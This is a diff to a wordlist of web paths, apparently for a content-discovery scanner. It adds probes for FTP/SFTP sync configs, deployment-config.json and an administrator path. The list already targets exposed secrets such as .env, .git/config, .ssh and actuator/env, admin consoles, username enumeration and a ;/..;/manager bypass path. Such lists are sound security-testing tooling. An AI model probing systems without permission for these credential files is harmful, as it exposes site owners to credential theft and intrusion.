-1,4 +1,3 @@ -lbs $defaultview?Readviewentries actuator/env actuator/health @@ -7,6 +6,7 @@ AddressBookJ2WE/services/AddressBook admin Admin admin-console +administrator AlbumCatalogWeb api AppManagementStatus @@ -28,6 +28,8 @@ crossdomain.xml css .csv data +deployment-config.json +dispatcher/invalidate.cache Dockerfile .DS_Store elmah.axd @@ -35,6 +37,8 @@ en-US/splunkd/__raw/services/server/info/server-info?output_mode=json .env env errorlog.axd +.ftpconfig +ftpsync.settings .git .git/config .gitignore @@ -61,6 +65,7 @@ invoker/JMXInvokerServlet jmx-console jmx-console/HtmlAdaptor js +lbs Makefile ;/..;/manager manager/html @@ -75,6 +80,7 @@ pview/ readme.md readme.txt register/check/username?username=thisaccountdoesntexist +.remote-sync.json robots.txt script scripts @@ -83,6 +89,7 @@ securityRealm/createAccount server-info server-manager/html server-status +sftp-config.json signup sitemap.xml .ssh @@ -101,6 +108,8 @@ userContent/ users view/All/builds view/All/newjob +.vscode/ftp-sync.json +.vscode/sftp.json _vti_bin/ _vti_bin/sites.asmx?wsdl _vti_bin/spsdisco.aspx @@ -130,4 +139,3 @@ wp-content/plugins/easy-wp-smtp/readme.txt wp-json/wp/v2/users wp-login.php?action=register xmlrpc.php -dispatcher/invalidate.cache \ No newline at end of file